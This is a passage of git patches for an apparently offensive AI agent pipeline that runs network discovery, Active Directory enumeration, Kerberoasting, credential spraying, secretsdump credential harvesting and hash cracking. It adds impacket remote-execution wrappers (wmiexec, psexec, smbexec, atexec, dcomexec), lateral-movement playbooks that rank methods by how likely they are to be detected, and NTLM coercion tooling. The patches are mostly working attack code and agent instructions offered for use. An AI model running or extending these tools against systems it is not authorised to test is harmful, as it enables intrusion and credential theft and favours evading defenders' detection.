DCs) are already captured in + stage report prose. Only attack results are extracted as structured + findings for the synthesis prompt. + """ + findings: list[dict[str, t.Any]] = [] + suffix = f"__{REPORT_ITEM_TOOL}" + for call in tool_calls: + if not isinstance(call, dict): + continue + name = call.get("name") + if not isinstance(name, str): + continue + if name != REPORT_ITEM_TOOL and not name.endswith(suffix): + continue + args = call.get("arguments") + if not isinstance(args, dict): + continue + # The item field may be a nested dict (union discriminator) or flat. + item = args.get("item") if "item" in args else args + if not isinstance(item, dict): + continue + if not _HIGH_VALUE_FIELDS & item.keys(): + continue + finding = dict(item) + finding.setdefault("id", f"NETOPS-FINDING-{len(findings) + 1:03d}") + findings.append(finding) + return findings + + +# --------------------------------------------------------------------------- +# Prompt builders +# --------------------------------------------------------------------------- + + +def _scope_prompt(scope_context: str, max_steps: int) -> str: + return ( + f"{_worker_stage_guard()}\n\n" + "Normalize this engagement scope for downstream agents.\n" + "Do not perform scanning or active testing in this stage. " + "Parse the provided payload and produce a scope operating brief.\n" + f"Autonomous step budget: {max_steps}\n\n" + f"Engagement payload:\n```json\n{scope_context}\n```\n" + ) + + +def _discovery_prompt( + scope_context: str, scope_report: str, max_steps: int +) -> str: + return ( + f"{_worker_stage_guard()}\n\n" + "Perform network discovery within the normalized scope.\n" + "Use Nmap to scan for hosts, ports, and services. Report findings " + "using the reporting tool.\n" + f"Autonomous step budget: {max_steps}\n\n" + f"Engagement payload:\n```json\n{scope_context}\n```\n\n" + f"Scope normalization:\n{scope_report}\n" + ) + + +def _enumeration_prompt( + scope_context: str, + scope_report: str, + discovery_report: str, + max_steps: int, +) -> str: + return ( + f"{_worker_stage_guard()}\n\n" + "Enumerate the Active Directory environment using discovered hosts " + "and available credentials.\n" + "Use netexec, SharpView, smbclient, and Certipy find. Report " + "findings using the reporting tool.\n" + f"Autonomous step budget: {max_steps}\n\n" + f"Engagement payload:\n```json\n{scope_context}\n```\n\n" + f"Scope normalization:\n{_truncate(scope_report, 8_000)}\n\n" + f"Discovery report:\n{_truncate(discovery_report, REPORT_TRUNCATE_CHARS)}\n" + ) + + +def _exploit_prompt( + scope_context: str, + scope_report: str, + discovery_report: str, + enumeration_report: str, + max_steps: int, +) -> str: + return ( + f"{_worker_stage_guard()}\n\n" + "Execute AD attack chains based on enumeration findings.\n" + "Prioritize: Kerberoasting, AS-REP roasting, credential spraying, " + "AD CS exploitation, ACL abuse, delegation abuse. Verify every " + "credential via netexec auth checks. Report all credentials, hashes, " + "and weaknesses using the reporting tool.\n" + f"Autonomous step budget: {max_steps}\n\n" + f"Engagement payload:\n```json\n{scope_context}\n```\n\n" + f"Scope normalization:\n{_truncate(scope_report, 8_000)}\n\n" + f"Discovery report:\n{_truncate(discovery_report, REPORT_TRUNCATE_CHARS)}\n\n" + f"Enumeration report:\n{_truncate(enumeration_report, REPORT_TRUNCATE_CHARS)}\n" + ) + + +def _harvest_prompt( + scope_context: str, + scope_report: str, + discovery_report: str, + enumeration_report: str, + exploit_report: str, + max_steps: int, +) -> str: + return ( + f"{_worker_stage_guard()}\n\n" + "Harvest credentials from compromised hosts.\n" + "Run secretsdump on hosts with confirmed admin access, crack " + "recovered hashes, and verify all credentials via netexec auth " + "checks. Report all credentials and hashes using the reporting " + "tool.\n" + f"Autonomous step budget: {max_steps}\n\n" + f"Engagement payload:\n```json\n{scope_context}\n```\n\n" + f"Scope normalization:\n{_truncate(scope_report, 8_000)}\n\n" + f"Discovery report:\n{_truncate(discovery_report, 8_000)}\n\n" + f"Enumeration report:\n{_truncate(enumeration_report, 8_000)}\n\n" + f"Exploitation report:\n{_truncate(exploit_report, REPORT_TRUNCATE_CHARS)}\n" + ) + + +def _synthesis_prompt( + *, + scope_context: str, + scope_report: str, + discovery_report: str, + enumeration_report: str, + exploit_report: str, + harvest_report: str, + findings: list[dict[str, t.Any]], + max_steps: int, +) -> str: + findings_json = json.dumps(findings, indent=2, sort_keys=True, default=str) + return ( + f"{_worker_stage_guard()}\n\n" + "Synthesize the final engagement report from all pipeline stages.\n" + "Do not perform any scanning, enumeration, or exploitation. Only " + "consolidate the evidence already gathered.\n" + f"Autonomous step budget: {max_steps}\n\n" + f"Engagement payload:\n```json\n{scope_context}\n```\n\n" + f"Scope normalization:\n{_truncate(scope_report, 8_000)}\n\n" + f"Discovery report:\n{_truncate(discovery_report, REPORT_TRUNCATE_CHARS)}\n\n" + f"Enumeration report:\n{_truncate(enumeration_report, REPORT_TRUNCATE_CHARS)}\n\n" + f"Exploitation report:\n{_truncate(exploit_report, REPORT_TRUNCATE_CHARS)}\n\n" + f"Credential harvesting report:\n{_truncate(harvest_report, REPORT_TRUNCATE_CHARS)}\n\n" + f"Recorded findings:\n```json\n{findings_json}\n```\n" + ) + + +# --------------------------------------------------------------------------- +# Report synthesis (deterministic fallback) +# --------------------------------------------------------------------------- + + +def _fallback_synthesis_report( + *, + scope_context: str, + scope_report: str, + discovery_report: str, + enumeration_report: str, + exploit_report: str, + harvest_report: str, + findings: list[dict[str, t.Any]], +) -> str: + sections = [ + "# Network Operations Engagement Report", + "", + "Deterministic synthesis of pipeline stage evidence.", + "", + "## Scope", + _truncate(scope_context, 2_000), + "", + "## Scope Normalization", + _truncate(scope_report or "No scope normalizer output.", 3_000), + "", + "## Network Discovery", + _truncate(discovery_report or "No discovery output.", 8_000), + "", + "## AD Enumeration", + _truncate(enumeration_report or "No enumeration output.", 8_000), + "", + "## Exploitation", + _truncate(exploit_report or "No exploitation output.", 8_000), + "", + "## Credential Harvesting", + _truncate(harvest_report or "No harvesting output.", 8_000), + "", + "## Recorded Findings", + json.dumps(findings, indent=2, sort_keys=True, default=str) + if findings + else "No findings were recorded via report_item tool calls.", + "", + "## Recommended Next Steps", + "Continue with manual validation of unresolved attack paths and " + "credential verification against remaining hosts.", + ] + return "\n".join(sections).rstrip() + "\n" + + +# --------------------------------------------------------------------------- +# Event publishing helpers +# --------------------------------------------------------------------------- + + +async def _publish_progress( + client: RuntimeClient, run_id: str, stage: str, detail: str | None = None +) -> None: + payload: dict[str, t.Any] = {"run_id": run_id, "stage": stage} + if detail: + payload["detail"] = detail + await client.publish(PROGRESS_EVENT, payload) + + +async def _publish_report( + client: RuntimeClient, run_id: str, target: str, agent: str, report: str +) -> None: + await client.publish( + REPORT_READY_EVENT, + {"run_id": run_id, "target": target, "agent": agent, "report": report}, + ) + + +# --------------------------------------------------------------------------- +# Utilities +# --------------------------------------------------------------------------- + + +def _render_scope_context(scope: dict[str, t.Any]) -> str: + return json.dumps(scope, indent=2, sort_keys=True, default=str) + + +def _compact_tool_call_summary(tool_calls: list[dict[str, t.Any]]) -> str: + """Build a readable text summary when an agent produces tools but no prose.""" + sections = ["Tool evidence summary:"] + for index, call in enumerate(tool_calls[:MAX_TOOL_CALLS_IN_SUMMARY], start=1): + if not isinstance(call, dict): + continue + name = str( + call.get("name") or call.get("tool_name") or f"tool_call_{index}" + ) + arguments = call.get("arguments") + result = ( + call.get("result") + or call.get("content") + or call.get("output") + or call.get("response") + ) + sections.append(f"\n{index}. {name}") + if arguments: + sections.append( + f" args: {_truncate(json.dumps(arguments, sort_keys=True, default=str), 500)}" + ) + if result: + sections.append(f" result: {_truncate(str(result), 1200)}") + if len(tool_calls) > MAX_TOOL_CALLS_IN_SUMMARY: + sections.append( + f"\n... {len(tool_calls) - MAX_TOOL_CALLS_IN_SUMMARY} additional tool calls omitted ..." + ) + return "\n".join(sections) + + +def _worker_stage_guard() -> str: + return ( + "You are running inside the worker-coordinated network operations " + "pipeline. Do not call run_netops_pipeline from this stage; use " + "direct scanning, enumeration, exploitation, and reporting tools " + "as needed for your stage." + ) + + +def _stage_budget(max_steps: int, cap: int) -> int: + return max(1, min(int(max_steps), cap)) + + +def _truncate(text: str, limit: int) -> str: + return text if len(text) <= limit else text[:limit] + "\n... truncated ..." + + +def _label_safe(raw: str) -> str: + """Sanitize a string for use as a session label value.""" + cleaned = re.sub(r"[^A-Za-z0-9_.:-]+", "_", str(raw).strip()) + return cleaned[:120] or "unknown" + + +if __name__ == "__main__": + worker.run() From 3533fc4ee6f7bd62e814c883cefda1f46ab0770d Mon Sep 17 00:00:00 2001 From: mkultraWasHere Date: Wed, 8 Jul 2026 11:05:49 -0400 Subject: [PATCH 2/8] feat(network-ops): add lateral movement execution tools Wrap five impacket remote execution scripts that were available but not exposed as tool methods: wmiexec, psexec, smbexec, atexec, and dcomexec. These fill the critical gap where the agent could recover credentials and confirm admin access but had no way to execute commands on remote hosts. Update exploit-operator and credential-harvester stage boundaries and add lateral movement method selection guidance to the ad-attack-patterns skill. Co-Authored-By: Claude --- .../agents/pipeline/credential-harvester.md | 2 +- .../agents/pipeline/exploit-operator.md | 2 +- .../skills/ad-attack-patterns/SKILL.md | 25 + capabilities/network-ops/tools/impacket.py | 634 ++++++++++++++++++ 4 files changed, 661 insertions(+), 2 deletions(-) diff --git a/capabilities/network-ops/agents/pipeline/credential-harvester.md b/capabilities/network-ops/agents/pipeline/credential-harvester.md index b241d46..da156eb 100644 --- a/capabilities/network-ops/agents/pipeline/credential-harvester.md +++ b/capabilities/network-ops/agents/pipeline/credential-harvester.md @@ -12,7 +12,7 @@ Report every hash, credential, and weakness immediately via `report_item`. ## Stage Boundaries -**Use:** `impacket_secretsdump` (the primary tool for this stage), cracking (`hashcat`, `john_the_ripper`), netexec (auth verification and access mapping), `impacket_get_tgt` and `impacket_lookup_sid` for verification, and `report_item`. +**Use:** `impacket_secretsdump` (the primary tool for this stage), cracking (`hashcat`, `john_the_ripper`), netexec (auth verification and access mapping), `impacket_get_tgt` and `impacket_lookup_sid` for verification, `impacket_wmiexec` for targeted credential extraction when secretsdump is insufficient, and `report_item`. **Do not use:** nmap, sharpview, smbclient, certipy, bloodyad, or krbrelayx. Discovery, enumeration, and exploitation are complete. ## Harvesting Workflow diff --git a/capabilities/network-ops/agents/pipeline/exploit-operator.md b/capabilities/network-ops/agents/pipeline/exploit-operator.md index 116d0b3..0de792a 100644 --- a/capabilities/network-ops/agents/pipeline/exploit-operator.md +++ b/capabilities/network-ops/agents/pipeline/exploit-operator.md @@ -12,7 +12,7 @@ Report every credential, hash, and weakness immediately via `report_item`. ## Stage Boundaries -**Use:** impacket (all methods except `impacket_secretsdump`), cracking (`hashcat`, `john_the_ripper`), netexec (auth checks, spraying), certipy (exploitation methods), bloodyad (all methods including write operations), krbrelayx, and `report_item`. +**Use:** impacket (all methods except `impacket_secretsdump`), cracking (`hashcat`, `john_the_ripper`), netexec (auth checks, spraying), certipy (exploitation methods), bloodyad (all methods including write operations), krbrelayx, and `report_item`. For lateral movement after credential recovery, use `impacket_wmiexec` (preferred — lowest detection), `impacket_smbexec`, `impacket_psexec`, `impacket_atexec`, or `impacket_dcomexec`. **Do not use:** nmap or sharpview — discovery and enumeration are complete. Do not use `impacket_secretsdump` — credential dumping belongs to the harvesting stage. ## Attack Priority diff --git a/capabilities/network-ops/skills/ad-attack-patterns/SKILL.md b/capabilities/network-ops/skills/ad-attack-patterns/SKILL.md index aaebb43..f5ace0e 100644 --- a/capabilities/network-ops/skills/ad-attack-patterns/SKILL.md +++ b/capabilities/network-ops/skills/ad-attack-patterns/SKILL.md @@ -101,6 +101,30 @@ Reference for common AD attack chains. Each pattern lists prerequisites, tool se **Critical:** Never spray more passwords than (lockout_threshold - 2) within the observation window. +## Lateral Movement + +After recovering credentials with admin access (`Pwn3d!` confirmed), use remote execution to move through the network. Choose the method based on detection profile and what's available on the target. + +### Execution Method Selection + +| Method | Tool | Detection Profile | When to Use | +|---|---|---|---| +| WMI | `impacket_wmiexec` | Low — no disk write, no service | **Default choice.** Prefer unless WMI is blocked. | +| DCOM | `impacket_dcomexec` | Low-Medium — depends on object | When WMI is filtered. Try `MMC20` first, then `ShellWindows`. | +| SMBExec | `impacket_smbexec` | Medium — service creation, no binary | When WMI/DCOM blocked but SMB services work. | +| Task Scheduler | `impacket_atexec` | Medium — scheduled task creation | When SMB services and WMI both blocked. | +| PsExec | `impacket_psexec` | High — binary upload + service | Last resort. Reliable but noisy — AV may flag the uploaded binary. | + +### Lateral Movement Workflow + +| Step | Tool | Action | +|---|---|---| +| 1. Confirm admin access | `netexec_smb_auth` | Verify `(Pwn3d!)` on target host | +| 2. Execute command | `impacket_wmiexec` | Run `whoami` to confirm execution context | +| 3. Gather local info | `impacket_wmiexec` | Run `ipconfig /all`, `net localgroup administrators` | +| 4. Dump credentials | `impacket_secretsdump` | Extract SAM/LSA from the new host | +| 5. Repeat | — | Test new credentials against additional hosts | + ## Credential Reuse Patterns When a credential is recovered, test it systematically: @@ -125,4 +149,5 @@ When a credential is recovered, test it systematically: | Certificate ops | Certipy | — | | Delegation abuse | Impacket (S4U) | Krbrelayx for unconstrained delegation relay | | Credential dump | Impacket secretsdump | — | +| Remote execution | `impacket_wmiexec` | `impacket_smbexec` → `impacket_atexec` → `impacket_dcomexec` → `impacket_psexec` (escalating detection) | | SPN manipulation | Krbrelayx addspn | BloodyAD for LDAP-based SPN changes | diff --git a/capabilities/network-ops/tools/impacket.py b/capabilities/network-ops/tools/impacket.py index 4e6aef3..4337dfa 100644 --- a/capabilities/network-ops/tools/impacket.py +++ b/capabilities/network-ops/tools/impacket.py @@ -3066,3 +3066,637 @@ async def impacket_lookup_sid( input=input, env=env, ) + + # ------------------------------------------------------------------- + # Lateral movement / remote command execution + # ------------------------------------------------------------------- + + @tool_method(catch=True) + async def impacket_wmiexec( + self, + target: str, + *, + command: str | None = None, + domain: str | None = None, + username: str | None = None, + password: str | None = None, + hashes: str | None = None, + kerberos: bool = False, + aes_key: str | None = None, + dc_ip: str | None = None, + target_ip: str | None = None, + share: str | None = None, + shell_type: str | None = None, + codec: str | None = None, + silentcommand: bool = False, + port: int | None = None, + timeout: int | None = None, + env: dict[str, str] | None = None, + input: str | None = None, + ) -> str: + r""" + Execute a command on a remote host via WMI (Windows Management Instrumentation). + + Lowest detection profile of the impacket execution tools — semi-interactive, + no binary uploaded to disk, no service created. Preferred default for + lateral movement when stealth matters. + + Usage Examples: + # Execute a command via WMI + await impacket_wmiexec( + target="web01.corp.local", + command="whoami /all", + domain="corp.local", + username="admin", + password="Password123" + ) + + # Execute via pass-the-hash + await impacket_wmiexec( + target="10.10.10.5", + command="ipconfig /all", + domain="corp.local", + username="administrator", + hashes="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0" + ) + + + A semi-interactive shell, used through Windows Management Instrumentation. It does not require + to install any service/agent at the target server. Runs as Administrator. Highly stealthy. + + positional arguments: + target [[domain/]username[:password]@] + command command to execute at the target. If empty it will launch a semi-interactive shell + + options: + -h, --help show this help message and exit + -share SHARE share where the output will be grabbed from (default ADMIN$) + -nooutput whether or not to print the output (no SMB connection created) + -ts Adds timestamp to every logging output + -silentcommand does not execute cmd.exe to run given command (no output, cannot determine returncode) + -debug Turn DEBUG output ON + -codec CODEC Sets encoding used (codec) from the target's output (default "utf-8"). + -shell-type {cmd,powershell} + choose a command processor for the semi-interactive shell + + authentication: + -hashes LMHASH:NTHASH NTLM hashes, format is LMHASH:NTHASH + -no-pass don't ask for password (useful for -k) + -k Use Kerberos authentication. + -aesKey hex key AES key to use for Kerberos Authentication + + connection: + -dc-ip ip address IP Address of the domain controller. + -target-ip ip address IP Address of the target machine. + -port [{139,445}] Destination port to connect to SMB Server + + + Args: + target: Target hostname or IP address (required). + command: Command to execute on the remote host. If empty, returns shell banner. + domain: Domain name. + username: Username for authentication. + password: Password for authentication. + hashes: NTLM hashes in LMHASH:NTHASH format. + kerberos: Use Kerberos authentication. + aes_key: AES key for Kerberos authentication. + dc_ip: Domain controller IP address override. + target_ip: Target machine IP address override. + share: Share where output is grabbed from (default ADMIN$). + shell_type: Command processor — 'cmd' or 'powershell'. + codec: Output encoding codec (default utf-8). + silentcommand: Execute without cmd.exe wrapper (no output returned). + port: Destination SMB port (139 or 445). + timeout: Command timeout in seconds (overrides default). + env: Optional environment variables. + input: Optional stdin input. + """ + identity = self._build_identity_with_target( + target, domain=domain, username=username, password=password + ) + + args = [identity] + if command: + args.append(command) + + if share: + args.extend(["-share", share]) + if shell_type: + args.extend(["-shell-type", shell_type]) + if codec: + args.extend(["-codec", codec]) + if silentcommand: + args.append("-silentcommand") + if port is not None: + args.extend(["-port", str(port)]) + + args.extend( + self._build_auth_flags( + hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password + ) + ) + args.extend(self._build_connection_flags(dc_ip=dc_ip, target_ip=target_ip)) + + return await execute( + self._build_script_command("wmiexec.py", args), + timeout=timeout or self.timeout + 60, + input=input, + env=env, + ) + + @tool_method(catch=True) + async def impacket_psexec( + self, + target: str, + *, + command: str | None = None, + domain: str | None = None, + username: str | None = None, + password: str | None = None, + hashes: str | None = None, + kerberos: bool = False, + aes_key: str | None = None, + dc_ip: str | None = None, + target_ip: str | None = None, + port: int | None = None, + service_name: str | None = None, + remote_binary_name: str | None = None, + codec: str | None = None, + timeout: int | None = None, + env: dict[str, str] | None = None, + input: str | None = None, + ) -> str: + r""" + Execute a command on a remote host via SMB service creation (PsExec-style). + + Creates a service on the target to execute commands. High detection profile — + writes binary to disk and creates a Windows service. Use when reliability + matters more than stealth, or when WMI/DCOM are blocked. + + Usage Examples: + # Execute a command via PsExec + await impacket_psexec( + target="srv01.corp.local", + command="whoami", + domain="corp.local", + username="admin", + password="Password123" + ) + + # Execute via pass-the-hash with custom service name + await impacket_psexec( + target="10.10.10.5", + command="ipconfig", + domain="corp.local", + username="administrator", + hashes=":31d6cfe0d16ae931b73c59d7e0c089c0", + service_name="mySvc" + ) + + + PSEXEC like functionality example using RemComSvc. + + positional arguments: + target [[domain/]username[:password]@] + command command (or arguments if -c is used) to execute at the target + + options: + -h, --help show this help message and exit + -c pathname upload the shareName binary and execute it + -path PATH path of the command to execute + -file FILE alternative RemCom binary (be sure it doesn't require CRT) + -ts Adds timestamp to every logging output + -debug Turn DEBUG output ON + -codec CODEC Sets encoding used (codec) from the target's output + -service-name service_name + The name of the service used to trigger the payload + -remote-binary-name remote_binary_name + This will be the name of the executable uploaded on the target + + authentication: + -hashes LMHASH:NTHASH NTLM hashes, format is LMHASH:NTHASH + -no-pass don't ask for password (useful for -k) + -k Use Kerberos authentication. + -aesKey hex key AES key to use for Kerberos Authentication + + connection: + -dc-ip ip address IP Address of the domain controller. + -target-ip ip address IP Address of the target machine. + -port [{139,445}] Destination port to connect to SMB Server + + + Args: + target: Target hostname or IP address (required). + command: Command to execute on the remote host. + domain: Domain name. + username: Username for authentication. + password: Password for authentication. + hashes: NTLM hashes in LMHASH:NTHASH format. + kerberos: Use Kerberos authentication. + aes_key: AES key for Kerberos authentication. + dc_ip: Domain controller IP address override. + target_ip: Target machine IP address override. + port: Destination SMB port (139 or 445). + service_name: Custom name for the created service. + remote_binary_name: Custom name for the uploaded executable. + codec: Output encoding codec. + timeout: Command timeout in seconds. + env: Optional environment variables. + input: Optional stdin input. + """ + identity = self._build_identity_with_target( + target, domain=domain, username=username, password=password + ) + + args = [identity] + if command: + args.append(command) + + if service_name: + args.extend(["-service-name", service_name]) + if remote_binary_name: + args.extend(["-remote-binary-name", remote_binary_name]) + if codec: + args.extend(["-codec", codec]) + if port is not None: + args.extend(["-port", str(port)]) + + args.extend( + self._build_auth_flags( + hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password + ) + ) + args.extend(self._build_connection_flags(dc_ip=dc_ip, target_ip=target_ip)) + + return await execute( + self._build_script_command("psexec.py", args), + timeout=timeout or self.timeout + 60, + input=input, + env=env, + ) + + @tool_method(catch=True) + async def impacket_smbexec( + self, + target: str, + *, + command: str | None = None, + domain: str | None = None, + username: str | None = None, + password: str | None = None, + hashes: str | None = None, + kerberos: bool = False, + aes_key: str | None = None, + dc_ip: str | None = None, + target_ip: str | None = None, + port: int | None = None, + share: str | None = None, + mode: str | None = None, + service_name: str | None = None, + codec: str | None = None, + timeout: int | None = None, + env: dict[str, str] | None = None, + ) -> str: + r""" + Execute a command on a remote host via SMB service creation (no binary upload). + + Similar to PsExec but does not upload a binary — creates a service that + executes a command directly via cmd.exe. Medium detection profile. + Use when WMI is blocked but you want to avoid uploading binaries. + + Note: smbexec opens a semi-interactive shell. The ``command`` parameter + is sent via stdin; if omitted only the shell banner is returned. + + Usage Examples: + # Execute a command via SMBExec + await impacket_smbexec( + target="srv01.corp.local", + command="net user /domain", + domain="corp.local", + username="admin", + password="Password123" + ) + + + A similar approach to PSEXEC w/o using RemComSvc. This implementation goes one step + further, instantiating a local smbserver to receive the output of the commands. + This is useful in the situation where the target machine does NOT have a writeable share available. + + positional arguments: + target [[domain/]username[:password]@] + + options: + -h, --help show this help message and exit + -share SHARE share where the output will be grabbed from (default C$) + -mode {SHARE,SERVER} mode to use (default SHARE, SERVER requires root!) + -ts Adds timestamp to every logging output + -debug Turn DEBUG output ON + -codec CODEC Sets encoding used (codec) from the target's output + -service-name service_name + The name of the service used to trigger the payload + + authentication: + -hashes LMHASH:NTHASH NTLM hashes, format is LMHASH:NTHASH + -no-pass don't ask for password (useful for -k) + -k Use Kerberos authentication. + -aesKey hex key AES key to use for Kerberos Authentication + + connection: + -dc-ip ip address IP Address of the domain controller. + -target-ip ip address IP Address of the target machine. + -port [{139,445}] Destination port to connect to SMB Server + + + Args: + target: Target hostname or IP address (required). + command: Command to send via stdin. If omitted, returns shell banner only. + domain: Domain name. + username: Username for authentication. + password: Password for authentication. + hashes: NTLM hashes in LMHASH:NTHASH format. + kerberos: Use Kerberos authentication. + aes_key: AES key for Kerberos authentication. + dc_ip: Domain controller IP address override. + target_ip: Target machine IP address override. + port: Destination SMB port (139 or 445). + share: Share for output capture (default C$). + mode: Execution mode — 'SHARE' or 'SERVER'. + service_name: Custom name for the created service. + codec: Output encoding codec. + timeout: Command timeout in seconds. + env: Optional environment variables. + """ + identity = self._build_identity_with_target( + target, domain=domain, username=username, password=password + ) + + args = [identity] + + if share: + args.extend(["-share", share]) + if mode: + args.extend(["-mode", mode]) + if service_name: + args.extend(["-service-name", service_name]) + if codec: + args.extend(["-codec", codec]) + if port is not None: + args.extend(["-port", str(port)]) + + args.extend( + self._build_auth_flags( + hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password + ) + ) + args.extend(self._build_connection_flags(dc_ip=dc_ip, target_ip=target_ip)) + + # smbexec opens a shell — send command via stdin, then exit + stdin_input = f"{command}\nexit\n" if command else "exit\n" + + return await execute( + self._build_script_command("smbexec.py", args), + timeout=timeout or self.timeout + 60, + input=stdin_input, + env=env, + ) + + @tool_method(catch=True) + async def impacket_atexec( + self, + target: str, + command: str, + *, + domain: str | None = None, + username: str | None = None, + password: str | None = None, + hashes: str | None = None, + kerberos: bool = False, + aes_key: str | None = None, + dc_ip: str | None = None, + target_ip: str | None = None, + session_id: int | None = None, + codec: str | None = None, + timeout: int | None = None, + env: dict[str, str] | None = None, + input: str | None = None, + ) -> str: + r""" + Execute a command on a remote host via the Windows Task Scheduler service. + + Creates a scheduled task to execute the command, then retrieves output. + Medium detection profile. Use when SMB service creation and WMI are blocked. + + Usage Examples: + # Execute a command via Task Scheduler + await impacket_atexec( + target="srv01.corp.local", + command="whoami", + domain="corp.local", + username="admin", + password="Password123" + ) + + + Executes a command on the target machine through the Task Scheduler service and + returns the output of the executed command. + + positional arguments: + target [[domain/]username[:password]@] + command command to execute at the target + + options: + -h, --help show this help message and exit + -session-id SESSION_ID + an existed logon session to use (no output mode) + -ts Adds timestamp to every logging output + -debug Turn DEBUG output ON + -codec CODEC Sets encoding used (codec) from the target's output + -silentcommand does not execute cmd.exe to run given command + + authentication: + -hashes LMHASH:NTHASH NTLM hashes, format is LMHASH:NTHASH + -no-pass don't ask for password (useful for -k) + -k Use Kerberos authentication. + -aesKey hex key AES key to use for Kerberos Authentication + + connection: + -dc-ip ip address IP Address of the domain controller. + -target-ip ip address IP Address of the target machine. + + + Args: + target: Target hostname or IP address (required). + command: Command to execute on the remote host (required). + domain: Domain name. + username: Username for authentication. + password: Password for authentication. + hashes: NTLM hashes in LMHASH:NTHASH format. + kerberos: Use Kerberos authentication. + aes_key: AES key for Kerberos authentication. + dc_ip: Domain controller IP address override. + target_ip: Target machine IP address override. + session_id: Existing logon session ID to use (no output mode). + codec: Output encoding codec. + timeout: Command timeout in seconds. + env: Optional environment variables. + input: Optional stdin input. + """ + identity = self._build_identity_with_target( + target, domain=domain, username=username, password=password + ) + + args = [identity, command] + + if session_id is not None: + args.extend(["-session-id", str(session_id)]) + if codec: + args.extend(["-codec", codec]) + + args.extend( + self._build_auth_flags( + hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password + ) + ) + args.extend(self._build_connection_flags(dc_ip=dc_ip, target_ip=target_ip)) + + return await execute( + self._build_script_command("atexec.py", args), + timeout=timeout or self.timeout + 60, + input=input, + env=env, + ) + + @tool_method(catch=True) + async def impacket_dcomexec( + self, + target: str, + *, + command: str | None = None, + domain: str | None = None, + username: str | None = None, + password: str | None = None, + hashes: str | None = None, + kerberos: bool = False, + aes_key: str | None = None, + dc_ip: str | None = None, + target_ip: str | None = None, + share: str | None = None, + dcom_object: str | None = None, + shell_type: str | None = None, + codec: str | None = None, + silentcommand: bool = False, + timeout: int | None = None, + env: dict[str, str] | None = None, + input: str | None = None, + ) -> str: + r""" + Execute a command on a remote host via DCOM (Distributed Component Object Model). + + Uses DCOM objects for command execution. Low-medium detection profile depending + on the DCOM object used. Alternative to WMI when WMI is filtered but DCOM is available. + + Usage Examples: + # Execute via DCOM using MMC20 object + await impacket_dcomexec( + target="srv01.corp.local", + command="whoami", + domain="corp.local", + username="admin", + password="Password123", + dcom_object="MMC20" + ) + + # Execute via ShellWindows object with pass-the-hash + await impacket_dcomexec( + target="10.10.10.5", + command="net localgroup administrators", + domain="corp.local", + username="administrator", + hashes=":31d6cfe0d16ae931b73c59d7e0c089c0", + dcom_object="ShellWindows" + ) + + + A semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints. + Currently supports MMC20.Application, ShellWindows and ShellBrowserWindow objects. + + positional arguments: + target [[domain/]username[:password]@] + command command to execute at the target. If empty it will launch a semi-interactive shell + + options: + -h, --help show this help message and exit + -share SHARE share where the output will be grabbed from (default ADMIN$) + -nooutput whether or not to print the output + -ts Adds timestamp to every logging output + -debug Turn DEBUG output ON + -codec CODEC Sets encoding used (codec) from the target's output + -object [{ShellWindows,MMC20,ShellBrowserWindow}] + DCOM object to be used to execute commands + -shell-type {cmd,powershell} + choose a command processor for the semi-interactive shell + -silentcommand does not execute cmd.exe to run given command + + authentication: + -hashes LMHASH:NTHASH NTLM hashes, format is LMHASH:NTHASH + -no-pass don't ask for password (useful for -k) + -k Use Kerberos authentication. + -aesKey hex key AES key to use for Kerberos Authentication + + connection: + -dc-ip ip address IP Address of the domain controller. + -target-ip ip address IP Address of the target machine. + + + Args: + target: Target hostname or IP address (required). + command: Command to execute. If empty, returns shell banner. + domain: Domain name. + username: Username for authentication. + password: Password for authentication. + hashes: NTLM hashes in LMHASH:NTHASH format. + kerberos: Use Kerberos authentication. + aes_key: AES key for Kerberos authentication. + dc_ip: Domain controller IP address override. + target_ip: Target machine IP address override. + share: Share where output is grabbed from (default ADMIN$). + dcom_object: DCOM object — 'MMC20', 'ShellWindows', or 'ShellBrowserWindow'. + shell_type: Command processor — 'cmd' or 'powershell'. + codec: Output encoding codec. + silentcommand: Execute without cmd.exe wrapper (no output returned). + timeout: Command timeout in seconds. + env: Optional environment variables. + input: Optional stdin input. + """ + identity = self._build_identity_with_target( + target, domain=domain, username=username, password=password + ) + + args = [identity] + if command: + args.append(command) + + if share: + args.extend(["-share", share]) + if dcom_object: + args.extend(["-object", dcom_object]) + if shell_type: + args.extend(["-shell-type", shell_type]) + if codec: + args.extend(["-codec", codec]) + if silentcommand: + args.append("-silentcommand") + + args.extend( + self._build_auth_flags( + hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password + ) + ) + args.extend(self._build_connection_flags(dc_ip=dc_ip, target_ip=target_ip)) + + return await execute( + self._build_script_command("dcomexec.py", args), + timeout=timeout or self.timeout + 60, + input=input, + env=env, + ) From 8579aad391abfa53f066b82781b94f90ae370eab Mon Sep 17 00:00:00 2001 From: mkultraWasHere Date: Wed, 8 Jul 2026 11:52:14 -0400 Subject: [PATCH 3/8] feat(network-ops): add coercion tools and SMB file upload Add Coercion toolset wrapping PetitPotam (MS-EFSRPC), DFSCoerce (MS-DFSNM), and ShadowCoerce (MS-FSRVP) for authentication coercion in relay attack chains. Add smb_upload_file to SmbClient for staging files on remote shares. Update ad-attack-patterns skill with NTLM relay chain, coercion method selection table, and exploit-operator stage boundaries. Co-Authored-By: Claude --- .../agents/pipeline/exploit-operator.md | 7 +- .../skills/ad-attack-patterns/SKILL.md | 31 +- capabilities/network-ops/tools/coercion.py | 395 ++++++++++++++++++ capabilities/network-ops/tools/smbclient.py | 52 +++ 4 files changed, 480 insertions(+), 5 deletions(-) create mode 100644 capabilities/network-ops/tools/coercion.py diff --git a/capabilities/network-ops/agents/pipeline/exploit-operator.md b/capabilities/network-ops/agents/pipeline/exploit-operator.md index 0de792a..5a796b5 100644 --- a/capabilities/network-ops/agents/pipeline/exploit-operator.md +++ b/capabilities/network-ops/agents/pipeline/exploit-operator.md @@ -12,7 +12,7 @@ Report every credential, hash, and weakness immediately via `report_item`. ## Stage Boundaries -**Use:** impacket (all methods except `impacket_secretsdump`), cracking (`hashcat`, `john_the_ripper`), netexec (auth checks, spraying), certipy (exploitation methods), bloodyad (all methods including write operations), krbrelayx, and `report_item`. For lateral movement after credential recovery, use `impacket_wmiexec` (preferred — lowest detection), `impacket_smbexec`, `impacket_psexec`, `impacket_atexec`, or `impacket_dcomexec`. +**Use:** impacket (all 